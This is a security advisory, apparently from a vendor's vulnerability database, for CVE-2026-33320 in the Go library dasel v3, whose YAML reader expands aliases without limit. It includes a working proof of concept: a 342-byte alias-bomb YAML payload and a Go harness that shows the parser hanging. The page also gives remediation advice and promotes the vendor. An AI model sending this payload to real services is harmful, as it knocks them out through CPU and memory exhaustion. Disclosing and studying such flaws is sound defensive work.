CVE-2026-33320

CVE-2026-33320 is a medium-severity security vulnerability in github.com/tomwright/dasel/v3 (go), affecting versions >= 3.0.0, < 3.3.2. It is fixed in 3.3.2.

Summary

dasel's YAML reader allows an attacker who can supply YAML for processing to trigger extreme CPU and memory consumption. The issue is in the library's own UnmarshalYAML implementation, which manually resolves alias nodes by recursively following yaml.Node.Alias pointers without any expansion budget, bypassing go-yaml v4's built-in alias expansion limit.

The issue issue is on v3.3.1 (fba653c7f248aff10f2b89fca93929b64707dfc8) and on the current default branch at commit 0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad. It is also verified the same code path is present in v3.0.0 (648f83baf070d9e00db8ff312febef857ec090a3). A 342-byte payload did not complete within 5 seconds on the test system and exhibited unbounded resource growth.

Details

In v3.3.1 (fba653c7f248aff10f2b89fca93929b64707dfc8), the reachable call path is:

The root cause is that go-yaml v4 has two decoding paths:

  1. Unmarshal into Go values: Tracks alias expansion count and rejects documents with excessive aliasing ("yaml: document contains excessive aliasing").
  2. Decode into yaml.Node / custom UnmarshalYAML: Passes a compact Node tree where alias nodes are pointers to their anchors. No expansion occurs at this level.

Dasel receives the compact Node tree via its UnmarshalYAML(*yaml.Node) hook and then recursively follows value.Alias pointers, re-expanding aliases without a budget:

case yaml.AliasNode:
    newVal := &yamlValue{}
    if err := newVal.UnmarshalYAML(value.Alias); err != nil {
        return err
    }
    yv.value = newVal.value
    yv.value.SetMetadataValue("yaml-alias", value.Value)

With a 9-level alias bomb (each level referencing the previous 9 times), this produces hundreds of millions of recursive expansions from a 342-byte input.

Test environment:

  • MacBook Air (Apple M2), macOS / Darwin arm64
  • Go 1.26.1
  • dasel v3.3.1 (fba653c7f248aff10f2b89fca93929b64707dfc8)
  • go.yaml.in/yaml/v4 v4.0.0-rc.3

PoC

package main

import (
	"fmt"
	"runtime"
	"time"

	"github.com/tomwright/dasel/v3/parsing"
	_ "github.com/tomwright/dasel/v3/parsing/yaml"
	"go.yaml.in/yaml/v4"
)

func main() {
	payload := `a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
`

	fmt.Printf("Payload size: %d bytes\n", len(payload))
	fmt.Printf("Go version: %s\n", runtime.Version())
	fmt.Printf("GOARCH: %s\n", runtime.GOARCH)
	fmt.Println()

	// 1. go-yaml v4 Unmarshal correctly rejects this
	fmt.Println("=== Test 1: Direct yaml.Unmarshal (should be rejected) ===")
	{
		var v interface{}
		start := time.Now()
		err := yaml.Unmarshal([]byte(payload), &v)
		elapsed := time.Since(start)
		if err != nil {
			fmt.Printf("SAFE: Rejected in %v: %v\n", elapsed, err)
		} else {
			fmt.Printf("VULNERABLE: Completed in %v\n", elapsed)
		}
	}
	fmt.Println()

	// 2. Dasel's YAML reader is vulnerable
	fmt.Println("=== Test 2: Dasel YAML reader (VULNERABLE) ===")
	done := make(chan string, 1)
	go func() {
		reader, err := parsing.Format("yaml").NewReader(parsing.DefaultReaderOptions())
		if err != nil {
			done <- fmt.Sprintf("Error creating reader: %v", err)
			return
		}
		start := time.Now()
		_, err = reader.Read([]byte(payload))
		elapsed := time.Since(start)
		if err != nil {
			done <- fmt.Sprintf("Error after %v: %v", elapsed, err)
		} else {
			done <- fmt.Sprintf("Completed in %v", elapsed)
		}
	}()

	select {
	case result := <-done:
		fmt.Println(result)
	case <-time.After(5 * time.Second):
		fmt.Println("CONFIRMED: did not complete within 5s; unbounded alias expansion in progress")
	}
}

Observed output on v3.3.1 in the test environment above:

Payload size: 342 bytes
Go version: go1.26.1
GOARCH: arm64

=== Test 1: Direct yaml.Unmarshal (should be rejected) ===
SAFE: Rejected in 824.042µs: yaml: document contains excessive aliasing

=== Test 2: Dasel YAML reader (VULNERABLE) ===
CONFIRMED: did not complete within 5s; unbounded alias expansion in progress

Impact

An attacker who can supply YAML for processing by dasel can cause denial of service. The library's own UnmarshalYAML handler triggers unbounded recursive alias expansion from a 342-byte input. The process consumes 100% CPU and exhibits growing memory usage until externally terminated.

This affects:

  • CLI usage: when reading YAML from stdin or files via the CLI
  • Library usage: any application using dasel's YAML reader to parse untrusted YAML
  • The parse("yaml", ...) function in selectors

CVE-2026-33320 has a CVSS score of 6.2 (Medium). The vector is requires local access, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.3.2); upgrading removes the vulnerable code path.

Affected versions

github.com/tomwright/dasel/v3 (>= 3.0.0, < 3.3.2)

Security releases

github.com/tomwright/dasel/v3 → 3.3.2 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

One likely fix is to add an alias expansion counter to UnmarshalYAML that limits the total number of alias resolutions, similar to go-yaml v4's internal limit. For example, track a counter across all recursive calls and return an error when it exceeds a threshold (e.g., 1,000,000 expansions).

Frequently Asked Questions

  1. What is CVE-2026-33320? CVE-2026-33320 is a medium-severity security vulnerability in github.com/tomwright/dasel/v3 (go), affecting versions >= 3.0.0, < 3.3.2. It is fixed in 3.3.2.
  2. How severe is CVE-2026-33320? CVE-2026-33320 has a CVSS score of 6.2 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/tomwright/dasel/v3 are affected by CVE-2026-33320? github.com/tomwright/dasel/v3 (go) versions >= 3.0.0, < 3.3.2 is affected.
  4. Is there a fix for CVE-2026-33320? Yes. CVE-2026-33320 is fixed in 3.3.2. Upgrade to this version or later.
  5. Is CVE-2026-33320 exploitable, and should I be worried? Whether CVE-2026-33320 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-33320 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-33320? Upgrade github.com/tomwright/dasel/v3 to 3.3.2 or later.

Other vulnerabilities in github.com/tomwright/dasel/v3

CVE-2026-46378CVE-2026-46377

Stop the waste.
Protect your environment with Kodem.